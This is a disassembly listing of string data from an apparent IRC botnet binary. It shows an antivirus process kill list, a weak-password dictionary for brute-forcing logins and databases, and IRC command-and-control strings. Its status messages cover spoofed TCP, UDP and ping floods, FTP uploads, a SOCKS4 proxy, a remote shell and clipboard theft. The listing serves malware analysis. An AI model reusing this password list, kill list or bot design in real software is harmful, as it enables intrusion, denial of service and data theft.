aAmon9x_exe	db 'AMON9X.EXE',0       ; DATA XREF: .text:0042ED88o
		align 10h
aAlogserv_exe	db 'ALOGSERV.EXE',0     ; DATA XREF: .text:0042ED84o
		align 10h
aAlevir_exe	db 'ALEVIR.EXE',0       ; DATA XREF: .text:0042ED80o
		align 4
aAlertsvc_exe	db 'ALERTSVC.EXE',0     ; DATA XREF: .text:0042ED7Co
		align 4
aAgentw_exe	db 'AGENTW.EXE',0       ; DATA XREF: .text:0042ED78o
		align 4
aAgentsvr_exe	db 'AGENTSVR.EXE',0     ; DATA XREF: .text:0042ED74o
		align 4
aAdvxdwin_exe	db 'ADVXDWIN.EXE',0     ; DATA XREF: .text:0042ED70o
		align 4
aAdaware_exe	db 'ADAWARE.EXE',0      ; DATA XREF: .text:0042ED6Co
aAckwin32_exe	db 'ACKWIN32.EXE',0     ; DATA XREF: .text:off_42ED68o
		align 4
aCannotExtractP	db 'Cannot extract process path for %s',0Ah,0 ; DATA XREF: sub_408D07+2D7o
aFileDeletedS_	db '[FILE]: Deleted ',27h,'%s',27h,'.',0Ah,0 ; DATA XREF: sub_408D07+2C9o
		align 10h
aCouldNotDelete	db 'Could not delete ',27h,'%s',27h,'.!',0Ah,0 ; DATA XREF: sub_408D07+2BBo
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_408D07+187o
		align 4
aProcProcessL_0	db '[PROC]: Process list failed.',0 ; DATA XREF: sub_40901A:loc_40909Bo
		align 4
aProcProcessLis	db '[PROC]: Process list completed.',0 ; DATA XREF: sub_40901A+7Ao
aProcListingPro	db '[PROC]: Listing processes:',0 ; DATA XREF: sub_40901A+2Ao
		align 4
aHttp_0		db 'HTTP',0             ; DATA XREF: .text:0042F754o
		align 4
aFtp		db 'FTP',0              ; DATA XREF: .text:0042F750o
off_4276F0	dd offset byte_435249	; DATA XREF: .text:0042F74Co
dword_4276F4	dd 544F42h	aPsniffErrorRec	db '[PSNIFF]: Error: recv() failed, returned: <%d>',0
					; DATA XREF: sub_40913E+28Eo
		align 4
aPsniffSuspicio	db '[PSNIFF]: Suspicious %s packet from: %s:%d - %s.',0
					; DATA XREF: sub_40913E+21Bo
		align 4
aPsniff_0	db '[PSNIFF]',0         ; DATA XREF: sub_40913E+1A5o
		align 4
aPsniffErrorWsa	db '[PSNIFF]: Error: WSAIoctl() failed, returned: <%d>.',0
					; DATA XREF: sub_40913E+15Do
aPsniffErrorBin	db '[PSNIFF]: Error: bind() failed, returned: <%d>.',0
					; DATA XREF: sub_40913E+F1o
aPsniffErrorSoc	db '[PSNIFF]: Error: socket() failed, returned: <%d>.',0
					; DATA XREF: sub_40913E+7Co
		align 10h
aIntranet	db 'intranet',0         ; DATA XREF: .text:0043018Co
		align 4
aLan		db 'lan',0              ; DATA XREF: .text:00430184o
aMain		db 'main',0             ; DATA XREF: .text:00430180o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: .text:0043017Co
aBlank		db 'blank',0            ; DATA XREF: .text:00430178o
		align 4
aOffice		db 'office',0           ; DATA XREF: .text:00430174o
		align 10h
aControl	db 'control',0          ; DATA XREF: .text:00430170o
aXp		db 'xp',0               ; DATA XREF: .text:0043016Co
		align 4
aNokia		db 'nokia',0            ; DATA XREF: .text:00430168o
		align 4
aHp		db 'hp',0               ; DATA XREF: .text:00430164o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: .text:00430160o
aCompaq		db 'compaq',0           ; DATA XREF: .text:0043015Co
		align 4
aDell		db 'dell',0             ; DATA XREF: .text:00430158o
		align 10h
aCisco		db 'cisco',0            ; DATA XREF: .text:00430154o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: .text:00430150o
aOrainstall	db 'orainstall',0       ; DATA XREF: .text:00430148o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .text:00430144o
		align 4
aSql		db 'sql',0              ; DATA XREF: .text:00430140o
aSa		db 'sa',0               ; DATA XREF: sub_409806+185Bo
					; .text:0043013Co
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: .text:00430138o
		align 4
aDb1		db 'db1',0              ; DATA XREF: .text:00430130o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .text:0043012Co
		align 4
aData		db 'data',0             ; DATA XREF: .text:00430128o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: .text:00430124o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: .text:00430120o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: .text:0043011Co
		align 10h
aAccess		db 'access',0           ; DATA XREF: .text:00430118o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .text:00430110o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: .text:0043010Co
		align 4
aDomain		db 'domain',0           ; DATA XREF: .text:00430108o
		align 4
aHello		db 'hello',0            ; DATA XREF: .text:00430104o
		align 4
aHell_0		db 'hell',0             ; DATA XREF: .text:00430100o
		align 4
aGod		db 'god',0              ; DATA XREF: .text:004300FCo
aSex		db 'sex',0              ; DATA XREF: .text:004300F8o
aSlut		db 'slut',0             ; DATA XREF: .text:004300F4o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .text:004300F0o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .text:004300ECo
		align 4
aExchange	db 'exchange',0         ; DATA XREF: .text:004300E8o
		align 4
aBackup		db 'backup',0           ; DATA XREF: .text:004300E4o
		align 10h
aTechnical	db 'technical',0        ; DATA XREF: .text:004300E0o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: .text:004300DCo
		align 4
aLogin		db 'login',0            ; DATA XREF: sub_409806+7BBo
					; .text:004300D8o
		align 10h
aMary		db 'mary',0             ; DATA XREF: .text:004300D4o
		align 4
aKatie		db 'katie',0            ; DATA XREF: .text:004300D0o
		align 10h
aKate		db 'kate',0             ; DATA XREF: .text:004300C8o
		align 4
aGeorge		db 'george',0           ; DATA XREF: .text:004300C4o
		align 10h
aEric		db 'eric',0             ; DATA XREF: .text:004300C0o
		align 4
aChris		db 'chris',0            ; DATA XREF: .text:004300BCo
		align 10h
aIan		db 'ian',0              ; DATA XREF: .text:004300B8o
aNeil		db 'neil',0             ; DATA XREF: .text:004300B4o
		align 4
aLee		db 'lee',0              ; DATA XREF: .text:004300B0o
aBrian		db 'brian',0            ; DATA XREF: .text:004300ACo
		align 4
aSusan		db 'susan',0            ; DATA XREF: .text:004300A4o
		align 10h
aSue		db 'sue',0              ; DATA XREF: .text:004300A0o
aSam		db 'sam',0              ; DATA XREF: .text:0043009Co
aLuke		db 'luke',0             ; DATA XREF: .text:00430098o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: .text:00430094o
					; .text:004300A8o
		align 4
aJohn		db 'john',0             ; DATA XREF: .text:00430090o
		align 10h
aMike		db 'mike',0             ; DATA XREF: .text:0043008Co
		align 4
aBill		db 'bill',0             ; DATA XREF: .text:00430088o
		align 10h
aFred		db 'fred',0             ; DATA XREF: .text:00430084o
		align 4
aJoe		db 'joe',0              ; DATA XREF: .text:00430080o
aJen		db 'jen',0              ; DATA XREF: .text:0043007Co
aBob		db 'bob',0              ; DATA XREF: .text:00430078o
					; .text:004300CCo
aQwe		db 'qwe',0              ; DATA XREF: .text:00430074o
aZxc		db 'zxc',0              ; DATA XREF: .text:00430070o
aAsd		db 'asd',0              ; DATA XREF: .text:0043006Co
aQaz		db 'qaz',0              ; DATA XREF: .text:00430068o
aWin2000	db 'win2000',0          ; DATA XREF: .text:00430064o
aWinnt		db 'winnt',0            ; DATA XREF: .text:00430060o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: .text:off_43005Co
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .text:00430058o
		align 4
aWin98		db 'win98',0            ; DATA XREF: .text:00430054o
		align 4
aWindows	db 'windows',0          ; DATA XREF: .text:00430050o
aOeminstall	db 'oeminstall',0       ; DATA XREF: .text:0043004Co
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: .text:00430048o
aOem		db 'oem',0              ; DATA XREF: .text:00430044o
aUser		db 'user',0             ; DATA XREF: sub_409806+2029o
					; .text:00430040o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: .text:0043003Co
		align 10h
aHome		db 'home',0             ; DATA XREF: .text:00430038o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: .text:00430034o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .text:00430030o
		align 10h
aInternet	db 'internet',0         ; DATA XREF: .text:0043002Co
					; .text:00430188o
		align 4
aWww		db 'www',0              ; DATA XREF: .text:00430028o
aWeb		db 'web',0              ; DATA XREF: .text:00430024o
aOutlook	db 'outlook',0          ; DATA XREF: .text:00430020o
aMail		db 'mail',0             ; DATA XREF: .text:0043001Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .text:00430018o
		align 4
aNull_0		db 'null',0             ; DATA XREF: .text:00430014o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_409806+19E9o
					; .text:0043000Co
		align 4
aSystem		db 'system',0           ; DATA XREF: .text:00430008o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .text:00430000o
		align 10h
aLinux		db 'linux',0            ; DATA XREF: .text:0042FFFCo
		align 4
aUnix		db 'unix',0             ; DATA XREF: .text:0042FFF8o
		align 10h
aDemo		db 'demo',0             ; DATA XREF: .text:0042FFF4o
		align 4
aNone		db 'none',0             ; DATA XREF: .text:0042FFF0o
		align 10h
aTest		db 'test',0             ; DATA XREF: .text:0042FFE8o
		align 4
a2004		db '2004',0             ; DATA XREF: .text:0042FFE4o
		align 10h
a2003		db '2003',0             ; DATA XREF: sub_412AEE+98o
					; .text:0042FFE0o
		align 4
a2002		db '2002',0             ; DATA XREF: .text:0042FFDCo
		align 10h
a2001		db '2001',0             ; DATA XREF: .text:0042FFD8o
		align 4
a2000		db '2000',0             ; DATA XREF: .text:0042FFD4o
		align 10h
a1234567890	db '1234567890',0       ; DATA XREF: .text:0042FFD0o
		align 4
a123456789	db '123456789',0        ; DATA XREF: .text:0042FFCCo
		align 4
a12345678	db '12345678',0         ; DATA XREF: .text:0042FFC8o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .text:0042FFC4o
a123456		db '123456',0           ; DATA XREF: .text:0042FFC0o
		align 4
a12345		db '12345',0            ; DATA XREF: .text:0042FFBCo
		align 4
a1234		db '1234',0             ; DATA XREF: .text:0042FFB8o
		align 4
a123		db '123',0              ; DATA XREF: .text:0042FFB4o
a12		db '12',0               ; DATA XREF: .text:0042FFB0o
		align 4
a1:					; DATA XREF: .text:0042FFACo
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: .text:0042FFA8o
aPwd		db 'pwd',0              ; DATA XREF: .text:0042FFA4o
aPass_0		db 'pass',0             ; DATA XREF: .text:0042FFA0o
		align 10h
aPass1234	db 'pass1234',0         ; DATA XREF: .text:0042FF9Co
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .text:0042FF98o
		align 4
aPassword	db 'password',0         ; DATA XREF: .text:0042FF94o
		align 10h
aPassword1	db 'password1',0        ; DATA XREF: .text:0042FF90o
		align 4
aAdm		db 'adm',0              ; DATA XREF: .text:0042FF8Co
aDb2		db 'db2',0              ; DATA XREF: .text:0042FF68o
					; .text:00430134o
aOracle		db 'oracle',0           ; DATA XREF: .text:0042FF64o
					; .text:0043014Co
		align 4
aDba		db 'dba',0              ; DATA XREF: .text:0042FF60o
aDatabase	db 'database',0         ; DATA XREF: .text:0042FF5Co
					; .text:00430114o
		align 4
aDefault	db 'default',0          ; DATA XREF: .text:0042FF58o
					; .text:00430004o
aGuest_0	db 'guest',0            ; DATA XREF: .text:0042FF54o
					; .text:0042FFECo
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .text:0042FF50o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: .text:0042FF4Co
					; .text:00430194o
aStudent	db 'student',0          ; DATA XREF: .text:0042FF48o
					; .text:00430190o
aOwner		db 'owner',0            ; DATA XREF: .text:0042FF44o
		align 10h
aComputer	db 'computer',0         ; DATA XREF: .text:0042FF40o
		align 4
aRoot		db 'root',0             ; DATA XREF: .text:0042FF3Co
					; .text:00430010o
		align 4
aStaff		db 'staff',0            ; DATA XREF: .text:0042FF38o
					; .text:00430198o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: .text:0042FF34o
					; .text:0042FF88o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: .text:0042FF30o
					; .text:0042FF84o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .text:0042FF2Co
					; .text:0042FF80o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .text:0042FF28o
					; .text:0042FF7Co
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .text:0042FF24o
					; .text:0042FF78o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: .text:off_42FF20o
					; .text:0042FF74o
		align 4
aJpilotIrcJavaC	db 'JPilot IRC Java Client 2.32',0 ; DATA XREF: .text:0042FE74o
aEggdrop1_3_24i	db 'Eggdrop 1.3.24i (c)1997 Robey Pointer',0 ; DATA XREF: .text:0042FE70o
		align 4
aIrcle3_0b10UsP	db 'Ircle 3.0b10 US PPC 12/15/1997 21:07:34 PM. #239C23AF21B',0
					; DATA XREF: .text:0042FE6Co
		align 4
aQuarterdeckGlo	db 'Quarterdeck Global Chat 1.2.9 for Macintosh',0
					; DATA XREF: .text:0042FE68o
		align 8
aAmircAmigaos2_	db 'AmIRC/AmigaOS 2.0.4 by Oliver Wagner <owagner@vapor.com> : http:/'
					; DATA XREF: .text:0042FE64o
		db '/www.vapor.com/ : [#0000D63F] : The slow mess client',0
		align 10h
aXirconB4Doot_3	db 'xircon[b4] + doot.3b[pawt] be-two + anony(v1) + aolsay(impulse) +'
					; DATA XREF: .text:0042FE60o
		db ' deepthought + saq(dbg)',0
		align 10h
aOsiris1cBitchx	db 'osiris-1c/bitchx-75p1 + autobot(bx) p3x3 : that time then and onc'
					; DATA XREF: .text:0042FE5Co
		db 'e again..',0
		align 10h
aIrcn7_0rc_67_0	db 'ircN 7.0rc.6 + 7.0rc.5 + 7.0rc.4 for mIRC - the devils of truth s'
					; DATA XREF: .text:0042FE58o
		db 'teal the souls of the free -',0
		align 10h
aIrcn6_03ForMir	db 'ircN 6.03 for mIRC - are we being punished for fate -',0
					; DATA XREF: .text:0042FE54o
		align 4
aWsirc2_03RCopy	db 'WSIRC 2.03-R - CopyRight 1994, 1995 Caesar M Samsi csamsi@clark.n'
					; DATA XREF: .text:0042FE50o
		db 'et TEXT CHANNEL',0
		align 10h
aHydraircV0_3_1	db 'HydraIRC v0.3.133-Test (14/March/2004) by Dominic Clifton aka Hyd'
					; DATA XREF: .text:0042FE4Co
		db 'ra - #HydraIRC on EFNet',0
		align 4
aCBasedIrcClien	db 'C++ based IRC Client by Jumpincow/shaxxxa/mo00',0
					; DATA XREF: .text:0042FE48o
		align 10h
aStormbot_tcl3_	db 'StormBot.TCL 3.1.beta.2.10 by Xone & Domino (coders@stormbot.org)'
					; DATA XREF: .text:0042FE44o
		db 0
		align 4
aEggdropV1_6_13	db 'eggdrop v1.6.13',0  ; DATA XREF: .text:0042FE40o
aEggdropV1_6_15	db 'eggdrop v1.6.15',0  ; DATA XREF: .text:0042FE3Co
aMirc32V1_0K_ma	db 'mIRC32 v1.0 K .Mardam-Bey',0 ; DATA XREF: .text:0042FE38o
		align 10h
aMircV6_14K_mar	db 'mIRC v6.14 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE34o
aMircV6_12K_mar	db 'mIRC v6.12 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE30o
aMircV6_10K_mar	db 'mIRC v6.10 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE2Co
aMircV6_1K_mard	db 'mIRC v6.1 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE20o
		align 10h
aMircV6_03K_mar	db 'mIRC v6.03 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE1Co
					; .text:0042FE28o
aMircV6_01K_mar	db 'mIRC v6.01 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE18o
					; .text:0042FE24o
aMircV5_82K_mar	db 'mIRC v5.82 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE14o
aMircV5_71K_mar	db 'mIRC v5.71 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE10o
aMirc32V6_12K_m	db 'mIRC32 v6.12 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE0Co
		align 4
aMirc32V6_03K_m	db 'mIRC32 v6.03 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE08o
		align 4
aMirc32V6_01K_m	db 'mIRC32 v6.01 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE04o
		align 4
aMirc32V5_82K_m	db 'mIRC32 v5.82 K.Mardam-Bey',0 ; DATA XREF: .text:0042FE00o
		align 10h
aMirc32V5_71K_m	db 'mIRC32 v5.71 K.Mardam-Bey',0 ; DATA XREF: .text:0042FDFCo
		align 4
aIrssiV0_8_4Run	db 'irssi v0.8.4 - running on Linux i686',0 ; DATA XREF: .text:0042FDF8o
		align 4
aIrcn7_277_0Eve	db 'ircN 7.27 + 7.0 - everyone i know goes away in the end -',0
					; DATA XREF: .text:0042FDF4o
		align 10h
aXchat1_8_10Lin	db 'xchat 1.8.10 Linux 2.4.25p1mp [i686/501MHz]',0
					; DATA XREF: .text:0042FDF0o
aIrcii2_9_baseO	db 'ircII 2.9_base OSF1 V4.0 :ircii 2.8: almost there...',0
					; DATA XREF: .text:0042FDECo
		align 4
aIrcii2_8_2Suno	db 'ircII 2.8.2 SunOS 5.6 :ircii 2.8: almost there...',0
					; DATA XREF: .text:0042FDE8o
		align 4
aIrcii2_9Bitchx	db 'ircII 2.9-BitchX-60 Linux 1.2.8 :bitZ%summer ',27h,'96(bitX%summer',27h
					; DATA XREF: .text:0042FDE4o
		db '96)',0
		align 10h
aIrciiEpic4pre2	db 'ircII EPIC4pre2 SunOS 5.6 - cypher(beta\one) -myd!nas :one step c'
					; DATA XREF: .text:0042FDE0o
		db 'loser to world domination',0
		align 4
aIrciiEpic4pr_0	db 'ircII EPIC4pre2 Linux 2.0.34 - Accept no limitations.',0
					; DATA XREF: .text:0042FDDCo
		align 8
aBx_75p1Linux2_	db '[bx.75p1] linux 2.0.36 [embryonic.22b3] :what is this that stands'
					; DATA XREF: .text:0042FDD8o
		db ' before me',0
		align 8
aBitchx1_0c18By	db 'BitchX-1.0c18+ by panasync - IRIX 6.5.10 Silicon Graphics : Keep '
					; DATA XREF: .text:0042FDD4o
		db 'it to yourself!',0
		align 10h
aBitchx74p21_3f	db 'BitchX-74p2+1.3f/SunOS 5.6 :(c)rackrock/bX [3.0.18] : Keep it to'
					; DATA XREF: .text:0042FDD0o
		db ' yourself!',0
		align 10h
aBitchx1_0c19By	db 'BitchX-1.0c19+ by panasync - FreeBSD 4.10-BETA : Keep it to yours'
					; DATA XREF: .text:0042FDCCo
		db 'elf!',0
		align 4
aBitchx70alpha1	db 'BitchX-70alpha14+tcl by panasync - Linux 2.0.27  Keep it to yours'
					; DATA XREF: .text:0042FDC8o
		db 'elf!',0
		align 10h
a__Argon1gBitch	db '..(argon/1g) :bitchx-75 : Keep it to yourself!',0
					; DATA XREF: .text:0042FDC4o
		align 10h
aBitchx74p2ByPa	db 'BitchX-74p2+ by panasync - CYGWIN32/95 4.0 : Keep it to yourself!'
					; DATA XREF: .text:0042FDC0o
		db 0
		align 4
aMircV6_03Khale	db 'mIRC v6.03 Khaled Mardam-Bey',0 ; DATA XREF: .text:0042FDBCo
		align 4
aMircV6_12Khale	db 'mIRC v6.12 Khaled Mardam-Bey',0 ; DATA XREF: .text:off_42FDB8o
		align 4
a@celestial_org	db '*@celestial.org',0  ; DATA XREF: .text:off_42FDB4o
asc_4285C4:				; DATA XREF: sub_40942B+129o
					; sub_40942B+1ADo
		unicode	0, <|>,0
asc_4285C8	db ' :',0               ; DATA XREF: sub_40942B:loc_40950Bo
					; sub_409806+7Do ...
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40942B+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40942B+38o
		align 4
aMainConnectedT	db '[MAIN]: Connected to %s.',0 ; DATA XREF: sub_4096A7+9Fo
		align 10h
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_409806+629Ao
		align 10h
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_409806+6285o
		align 10h
aMainUserSLog_1	db '[MAIN]: User: %s logged in.',0 ; DATA XREF: sub_409806+6271o
aMainPasswordAc	db '[MAIN]: Password accepted.',0 ; DATA XREF: sub_409806+6254o
		align 4
aMainFailedHost	db '[MAIN]: *Failed host auth by: (%s!%s).',0 ; DATA XREF: sub_409806+61DCo
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_409806+61B9o
		align 4
aMainFailedPass	db '[MAIN]: *Failed pass auth by: (%s!%s).',0 ; DATA XREF: sub_409806+6175o
		align 10h
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_409806+6166o
					; sub_409806+61CDo
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_409806+6152o
		align 4
asc_428734:				; DATA XREF: sub_409806+6100o
		unicode	0, <~>,0
dword_428738	dd 0		aMainRandomNick	db '[MAIN]: Random nick change: %s',0 ; DATA XREF: sub_409806+60B0o
		align 4
aStoppingPrevio	db 'Stopping previous scans',0 ; DATA XREF: sub_409806+5F08o
aScanFailedTo_2	db '[SCAN]: Failed to start scan, no IP specified.',0
					; DATA XREF: sub_409806+5E37o
		align 4
aUdpFailedToSta	db '[UDP]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_409806+5C42o
		align 4
aUdpSendingDPac	db '[UDP]: Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).'
					; DATA XREF: sub_409806+5BDDo
		db 0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_409806+5B16o
		align 4
aPingFailedToSt	db '[PING]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_409806+5AECo
		align 4
aPingSendingDPi	db '[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms).'
					; DATA XREF: sub_409806+5A91o
		db 0
		align 4
aTcpInvalidFl_0	db '[TCP]: Invalid flood time must be greater than 0.',0
					; DATA XREF: sub_409806:loc_40F1D1o
		align 10h
aTcpFailedToSta	db '[TCP]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_409806+59AFo
		align 4
aTcpSSFloodingS	db '[TCP]: %s %s flooding: (%s:%s) for %s seconds.',0
					; DATA XREF: sub_409806+5949o
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_409806+593Bo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_409806+5934o
aTcpInvalidFloo	db '[TCP]: Invalid flood type specified.',0 ; DATA XREF: sub_409806+5885o
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_409806+5879o
					; sub_412E0B+229o
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_409806+5865o
					; sub_412E0B+209o
aFtpUploading_0	db '[FTP]: Uploading file: %s to: %s failed.',0
					; DATA XREF: sub_409806:loc_40EF91o
		align 4
aFtpUploadingFi	db '[FTP]: Uploading file: %s to: %s',0 ; DATA XREF: sub_409806+5784o
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_409806+576Do
aSS_4		db '-s:%s',0            ; DATA XREF: sub_409806+5754o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_409806+5734o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_409806+56F0o
		align 4
aFtpFileNotFoun	db '[FTP]: File not found: %s.',0 ; DATA XREF: sub_409806+5697o
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_409806+5671o
		align 10h
aHcon		db 'hcon',0             ; DATA XREF: sub_409806+5650o
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_409806+563Co
aMainInvalidLog	db '[MAIN]: Invalid login slot number: %d.',0 ; DATA XREF: sub_409806+5576o
		align 4
aMainNoUserLogg	db '[MAIN]: No user logged in at slot: %d.',0 ; DATA XREF: sub_409806+556Eo
		align 10h
aMainS		db '[MAIN]: %s',0       ; DATA XREF: sub_409806+550Co
		align 4
aSecureFailedTo	db '[SECURE]: Failed to start secure thread, error: <%d>.',0
					; DATA XREF: sub_409806+54E8o
					; sub_40FAD0+3DEo
		align 4
aSecureSSystem_	db '[SECURE]: %s system.',0 ; DATA XREF: sub_409806+5484o
		align 4
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_409806+547Eo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_409806+5477o
		align 4
aSocks4FailedTo	db '[SOCKS4]: Failed to start server thread, error: <%d>.',0
					; DATA XREF: sub_409806+53E9o
		align 4
aSocks4ServerSt	db '[SOCKS4]: Server started on: %s:%d.',0 ; DATA XREF: sub_409806+5390o
					; sub_412412+A1o
aFindfile_0	db '[FINDFILE]',0       ; DATA XREF: sub_409806+52C2o
		align 4
aFindFile	db 'Find file',0        ; DATA XREF: sub_409806+52BDo
		align 4
aProc		db '[PROC]',0           ; DATA XREF: sub_409806+52ADo
		align 10h
aProcessList	db 'Process list',0     ; DATA XREF: sub_409806+52A8o
		align 10h
aMainReconnecti	db '[MAIN]: Reconnecting.',0 ; DATA XREF: sub_409806+5272o
		align 4
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_409806:loc_40EA6Bo
		align 10h
aMainDisconnect	db '[MAIN]: Disconnecting.',0 ; DATA XREF: sub_409806+5250o
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_409806:loc_40EA49o
		align 10h
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_409806+521Ao
		align 4
aMainStatusRead	db '[MAIN]: Status: Ready. Bot Uptime: %s.',0 ; DATA XREF: sub_409806+51CCo
		align 4
aMainBotIdS_	db '[MAIN]: Bot ID: %s.',0 ; DATA XREF: sub_409806+518Do
aThreadsFaile_0	db '[THREADS]: Failed to start list thread, error: <%d>.',0
					; DATA XREF: sub_409806+5163o
		align 10h
aThreadsListThr	db '[THREADS]: List threads.',0 ; DATA XREF: sub_409806+5108o
		align 4
aSub		db 'sub',0              ; DATA XREF: sub_409806+50E6o
aMainAliasList_	db '[MAIN]: Alias list.',0 ; DATA XREF: sub_409806+5090o
aLogFailedToSta	db '[LOG]: Failed to start listing thread, error: <%d>.',0
					; DATA XREF: sub_409806+5060o
aLogListingLog_	db '[LOG]: Listing log.',0 ; DATA XREF: sub_409806+5005o
aMainNetworkInf	db '[MAIN]: Network Info.',0 ; DATA XREF: sub_409806+4F5Eo
		align 4
aMainSystemInfo	db '[MAIN]: System Info.',0 ; DATA XREF: sub_409806+4F2Eo
		align 4
aMainRemovingBo	db '[MAIN]: Removing Bot.',0 ; DATA XREF: sub_409806+4EDAo
		align 4
aProcsFailedToS	db '[PROCS]: Failed to start listing thread, error: <%d>.',0
					; DATA XREF: sub_409806+4E64o
		align 4
aProcsProccessL	db '[PROCS]: Proccess list.',0 ; DATA XREF: sub_409806+4E03o
aFull		db 'full',0             ; DATA XREF: sub_409806+4DE7o
		align 4
aProcAlreadyRun	db '[PROC]: Already running.',0 ; DATA XREF: sub_409806+4D81o
		align 4
aMainUptimeS_	db '[MAIN]: Uptime: %s.',0 ; DATA XREF: sub_409806+4D2Do
aCmdRemoteShe_0	db '[CMD]: Remote shell ready.',0 ; DATA XREF: sub_409806:loc_40E4A5o
		align 4
aCmdCouldnTOpen	db '[CMD]: Couldn',27h,'t open remote shell.',0
					; DATA XREF: sub_409806+4C95o
		align 4
aCmdRemoteShell	db '[CMD]: Remote shell already running.',0 ; DATA XREF: sub_409806+4C76o
		align 4
aMainGetClipboa	db '[MAIN]: Get Clipboard.',0 ; DATA XREF: sub_409806+4C60o
		align 4
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_409806+4C31o
		align 10h
aFlushdnsFail_1	db '[FLUSHDNS]: Failed to flush ARP cache.',0
					; DATA XREF: sub_409806:loc_40E425o
		align 4
aFlushdnsArpC_0	db '[FLUSHDNS]: ARP cache flushed.',0 ; DATA XREF: sub_409806+4C0Ao
		align 4
aFlushdnsFail_0	db '[FLUSHDNS]: Failed to load dnsapi.dll.',0
					; DATA XREF: sub_409806:loc_40E3F4o
		align 10h
aFlushdnsFailed	db '[FLUSHDNS]: Failed to flush DNS cache.',0
					; DATA XREF: sub_409806:loc_40E3EDo
		align 4
aFlushdnsDnsCac	db '[FLUSHDNS]: DNS cache flushed.',0 ; DATA XREF: sub_409806+4BE0o
		align 4
aRlogindFailedT	db '[RLOGIND]: Failed to start server thread, error: <%d>.',0
					; DATA XREF: sub_409806+4B72o
		align 10h
aRlogindServerL	db '[RLOGIND]: Server listening on IP: %s:%d, Username: %s.',0
					; DATA XREF: sub_409806+4B19o
